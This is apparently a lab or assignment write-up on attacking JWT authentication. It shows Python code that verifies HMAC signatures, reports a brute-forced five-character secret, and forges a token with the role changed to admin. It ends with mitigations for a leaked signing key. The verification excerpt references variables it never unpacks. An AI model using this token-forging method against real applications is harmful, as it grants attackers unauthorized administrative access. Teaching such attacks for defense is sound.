PART B:

```python
class HMACStrategy(JWTStrategy):
    def verify_signature(self, token_parts: Tuple[str, str, str], secret: str) -> None:

        try:
            header_json = json.loads(JWTDecoder._base64url_decode(header).decode("utf-8"))
        except json.JSONDecodeError:
            raise JWTVerificationError("Invalid JWT header encoding.")

        algorithm = header_json.get("alg")
        if algorithm not in self.SUPPORTED_ALGORITHMS:
            raise JWTVerificationError(f"Unsupported algorithm: {algorithm}")

        digestmod = self.SUPPORTED_ALGORITHMS[algorithm]
        expected_signature = hmac.new(
            secret.encode(),
            msg=f"{header}.{payload}".encode(),
            digestmod=digestmod
        ).digest()

        expected_signature_encoded = JWTDecoder._base64url_encode(expected_signature)
        if not hmac.compare_digest(expected_signature_encoded, signature):
            raise JWTVerificationError("Invalid JWT signature.")
```

the above function verifies the signature. As we were not provided the secret to verify, we brute forced 5 digit alphanumeric secret (hint given) as arrived at **p1gzy secret** which successfully verified the signature.

```python
def create_modified_jwt(payload: Dict[str, Any], secret: str) -> str:
    """Creates a new JWT with a modified role."""
    header = {"alg": "HS256", "typ": "JWT"}
    payload["role"] = "admin"
    header_encoded = JWTDecoder._base64url_encode(json.dumps(header).encode())
    payload_encoded = JWTDecoder._base64url_encode(json.dumps(payload).encode())
    signature = hmac.new(secret.encode(), f"{header_encoded}.{payload_encoded}".encode(), hashlib.sha256).digest()
    signature_encoded = JWTDecoder._base64url_encode(signature)
    return f"{header_encoded}.{payload_encoded}.{signature_encoded}"
```

created the new modified jwt with the same secret.

```python
    @staticmethod
    def _base64url_decode(input_str: str) -> bytes:
        """Decodes a Base64 URL-encoded string with proper padding handling."""
        padding = 4 - (len(input_str) % 4)
        input_str += "=" * padding if padding < 4 else ""
        return base64.urlsafe_b64decode(input_str)

    @staticmethod
    def _base64url_encode(input_bytes: bytes) -> str:
        """Encodes bytes into a Base64 URL-safe string without padding."""
        return base64.urlsafe_b64encode(input_bytes).decode("utf-8").rstrip("=")
```

used the above encoder and decoder for the payload and header.

PART C:

-> use session timeouts for the key. i.e key should have a lifespan before it is refreshed
-> use per session key, i.e every session should has one-key, ofc which expires after some time.
-> revoke the compromised key
-> use 2-factor authentication, so even after the key is leaked, there will be an additional layer of security
-> limit key usage by filtering IP.

The above points apply for the given condition **If a single secret key is used to sign all JWTs for user authentication, and that key gets leaked, all user data in the application is at risk.**